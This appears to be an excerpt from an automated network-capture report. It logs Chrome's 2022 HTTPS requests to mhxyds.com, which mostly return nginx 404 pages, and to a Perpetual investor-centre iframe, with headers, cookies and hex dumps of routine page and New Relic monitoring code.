74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

338 118.27.105.118 443 192.168.11.20 59128 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:30 UTC 14800 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:30 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:30 UTC 14800 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

339 118.27.105.118 443 192.168.11.20 61734 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:30 UTC 14801 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:30 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:30 UTC 14801 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

34 118.27.105.118 443 192.168.11.20 57596 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 459 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:41 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:41 UTC 459 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

340 118.27.105.118 443 192.168.11.20 56900 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:30 UTC 14801 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:30 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:30 UTC 14802 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

341 192.168.11.20 52562 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:30 UTC 14802 OUT GET /css/fonts/helvetica-neue/2DF85E_0_0.woff2 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

342 192.168.11.20 50355 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:30 UTC 14803 OUT GET /css/fonts/helvetica-neue/2DF85E_1_0.woff HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

343 192.168.11.20 63046 103.15.210.63 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:30 UTC 14804 OUT GET /iframes/?page=share-price-graph HTTP/1.1
Host: iframes.perpetualequity.com.au
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: iframe
Referer: https://mhxyds.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

344 192.168.11.20 62108 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:30 UTC 14805 OUT GET /css/fonts/vendor/bootstrap/glyphicons-halflings-regular.woff HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

345 118.27.105.118 443 192.168.11.20 52562 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:31 UTC 14806 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:30 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:31 UTC 14806 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

346 118.27.105.118 443 192.168.11.20 50355 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:31 UTC 14807 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:30 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:31 UTC 14807 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

347 103.15.210.63 443 192.168.11.20 63046 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:31 UTC 14807 IN HTTP/1.1 200 OK
Cache-Control: private,no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Content-Security-Policy: default-src 'self' https://iframes.perpetualequity.com.au https:;img-src 'self' https://iframes
.perpetualequity.com.au https://www.google-analytics.com/ data: https:;connect-src 'self' https://iframes.perpetualequit
y.com.au https://api.linkgroup.com/ https:;style-src 'self' 'unsafe-inline' https://iframes.perpetualequity.com.au https
://fonts.googleapis.com/ https://use.typekit.net/ https://fonts.gstatic.com/ https:;font-src 'self' https://iframes.perpetualequit
y.com.au https://fonts.googleapis.com/ https://use.typekit.net/ https://fonts.gstatic.com/ https:;script-src 'self' 'unsafe-inline' 
'unsafe-eval' https://iframes.perpetualequity.com.au http://www.google-analytics.com/ga.js https://polyfill.io/ https:
//ecomms.linkgroup.com/ https://www.googletagmanager.com/ https://www.google-analytics.com/ https://js-agent.n
ewrelic.com/ https://bam.nr-data.net/ https:;
cacheability: none
Set-Cookie: __AntiXsrfToken=622441cf24334846ab07437e18348f4f; path=/; secure; HttpOnly
Set-Cookie: hpo_sessionId=1cb6c486-4dc5-42f7-801d-e11fbd243873; path=/; secure; HttpOnly
Set-Cookie: 10e54a9f-6e47-4518-9fa0-4f9af09f4a14=; expires=Mon, 01-Aug-2022 03:43:31 GMT; path=/; secure; Http
Only
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-XSS-Protection: 1;mode=block
Content-Security-Policy: default-src https:; script-src   https: 'unsafe-inline' 'unsafe-eval'; child-src  'self' https:; font-src 'self' 
fonts.googleapis.com use.typekit.net  fonts.gstatic.com; img-src 'self'  data: https:; media-src 'self'; object-src 'self';style-src 
'self' 'unsafe-inline'  fonts.googleapis.com use.typekit.net  fonts.gstatic.com  ;
Date: Thu, 11 Aug 2022 03:43:30 GMT
Content-Length: 39955
Set-Cookie: NSC_Ijqqp-JS-Tjuft=ffffffffaf171fd945525d5f4f58455e445a4a423660;path=/;secure;httponly

2022-08-11 03:43:31 UTC 14809 IN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 
48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 
33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 
64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 
77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 
20 20 20 20 3c 74 69 74 6c 65 3e 50 65 72 70 65 74 75 61 6c 20 2d 20 49 6e 76 65 73 74 6f 72 20 43 65 6e 74 72 65 3c 2
f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 
Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xh
tml1-transitional.dtd"><html lang="en" xmlns="http://www.w3.org/1999/xhtml">    <head>        <title>Perpetual - Investor 
Centre</title>        <meta

2022-08-11 03:43:31 UTC 14815 IN Data Raw: 77 69 6e 64 6f 77 2c 63 3d 22 66 65 74 63 68 2d 22 2c 66 3d 63 2b 22 62 6f 64 79 2d 22 2c 75 3d 5b 22 61 72 
72 61 79 42 75 66 66 65 72 22 2c 22 62 6c 6f 62 22 2c 22 6a 73 6f 6e 22 2c 22 74 65 78 74 22 2c 22 66 6f 72 6d 44 61 74 
61 22 5d 2c 64 3d 73 2e 52 65 71 75 65 73 74 2c 6c 3d 73 2e 52 65 73 70 6f 6e 73 65 2c 70 3d 73 2e 66 65 74 63 68 2c 
68 3d 22 70 72 6f 74 6f 74 79 70 65 22 2c 6d 3d 22 6e 72 40 63 6f 6e 74 65 78 74 22 3b 64 26 26 6c 26 26 70 26 26 28 61 
28 75 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 28 64 5b 68 5d 2c 65 2c 66 29 2c 72 28 6c 5b 68 5d 2c 65 2c 66 
29 7d 29 2c 72 28 73 2c 22 66 65 74 63 68 22 2c 63 29 2c 69 2e 6f 6e 28 63 2b 22 65 6e 64 22 2c 66 75 6e 63 74 69 6f 6e
28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 69 66 28 65 
Data Ascii: window,c="fetch-",f=c+"body-",u=["arrayBuffer","blob","json","text","formData"],d=s.Request,l=s.Response,p=s
.fetch,h="prototype",m="nr@context";d&&l&&p&&(a(u,function(t,e){r(d[h],e,f),r(l[h],e,f)}),r(s,"fetch",c),i.on(c+"end",fu
nction(t,e){var n=this;if(e
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2022-08-11 03:43:31 UTC 14826 IN Data Raw: 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 65 29 7b 76 61 72 20 6e 3d 21 31 3b 72 65 74 75 
72 6e 20 65 2e 6e 65 77 72 65 6c 69 63 48 65 61 64 65 72 26 26 28 74 2e 73 65 74 28 22 6e 65 77 72 65 6c 69 63 22 2c 
65 2e 6e 65 77 72 65 6c 69 63 48 65 61 64 65 72 29 2c 6e 3d 21 30 29 2c 65 2e 74 72 61 63 65 43 6f 6e 74 65 78 74 50 
61 72 65 6e 74 48 65 61 64 65 72 26 26 28 74 2e 73 65 74 28 22 74 72 61 63 65 70 61 72 65 6e 74 22 2c 65 2e 74 72 61 
63 65 43 6f 6e 74 65 78 74 50 61 72 65 6e 74 48 65 61 64 65 72 29 2c 65 2e 74 72 61 63 65 43 6f 6e 74 65 78 74 53 74 
61 74 65 48 65 61 64 65 72 26 26 74 2e 73 65 74 28 22 74 72 61 63 65 73 74 61 74 65 22 2c 65 2e 74 72 61 63 65 43 6f 
6e 74 65 78 74 53 74 61 74 65 48 65 61 64 65 72 29 2c 6e 3d 21 30 29 2c 
Data Ascii: ion(t){function e(t,e){var n=!1;return e.newrelicHeader&&(t.set("newrelic",e.newrelicHeader),n=!0),e.traceCo
ntextParentHeader&&(t.set("traceparent",e.traceContextParentHeader),e.traceContextStateHeader&&t.set("tracesta
te",e.traceContextStateHeader),n=!0),

2022-08-11 03:43:32 UTC 14835 IN Data Raw: 21 65 29 72 65 74 75 72 6e 21 30 3b 69 66 28 21 6f 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 6e 
3d 6f 2e 73 70 6c 69 74 28 22 2e 22 29 2c 72 3d 65 2e 73 70 6c 69 74 28 22 2e 22 29 2c 61 3d 30 3b 61 3c 72 2e 6c 65 
6e 67 74 68 3b 61 2b 2b 29 69 66 28 72 5b 61 5d 21 3d 3d 6e 5b 61 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 
21 30 7d 76 61 72 20 69 3d 6e 75 6c 6c 2c 6f 3d 6e 75 6c 6c 2c 61 3d 2f 56 65 72 73 69 6f 6e 5c 2f 28 5c 53 2b 29 5c 73 
2b 53 61 66 61 72 69 2f 3b 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 7b 76 61 72 20 73 3d 6
e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2c 63 3d 73 2e 6d 61 74 63 68 28 61 29 3b 63 26 26 73 2e 69 
6e 64 65 78 4f 66 28 22 43 68 72 6f 6d 65 22 29 3d 3d 3d 2d 31 26 26 
Data Ascii: !e)return!0;if(!o)return!1;for(var n=o.split("."),r=e.split("."),a=0;a<r.length;a++)if(r[a]!==n[a])return!1;return!0}var 
i=null,o=null,a=/Version\/(\S+)\s+Safari/;if(navigator.userAgent){var s=navigator.userAgent,c=s.match(a);c&&s.indexOf
("Chrome")===-1&&

2022-08-11 03:43:32 UTC 14843 IN Data Raw: 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 
3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 3b 0d 0a 20 20 20 20 20 
20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 35 2e 35 65 6d 20 61 75 74 6f 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 
20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 37 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 
6e 67 3a 20 31 35 70 78 20 33 35 70 78 20 31 35 70 78 20 33 37 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 
69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 
78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 
Data Ascii: order-box;            color: white;            line-height: 1.5;            margin: 5.5em auto 0;            max-width: 
720px;            padding: 15px 35px 15px 37px;            width: 100%;            font-size: 16px;            font-fam

2022-08-11 03:43:32 UTC 14850 IN Data Raw: 0a 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 20 20 20 0d 0a 3c 2f 64 69 76 3e 0d 0a 0d 0a 
0a 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 
46 6f 72 6d 42 75 69 6c 64 65 72 2f 5f 52 65 73 6f 75 72 63 65 2f 5f 6d 6f 64 75 6c 65 2f 72 31 43 32 53 48 4e 49 74 6b 79 
73 68 5a 62 36 59 55 5a 38 55 67 2f 6a 73 2f 69 66 72 61 6d 65 52 65 73 69 7a 65 72 2e 63 6f 6e 74 65 6e 74 57 69 6e 
64 6f 77 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 
74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 46 6f 72 6d 42 75 69 6c 64 65 72 2f 5f 52 65 73 6f 75 72 63 
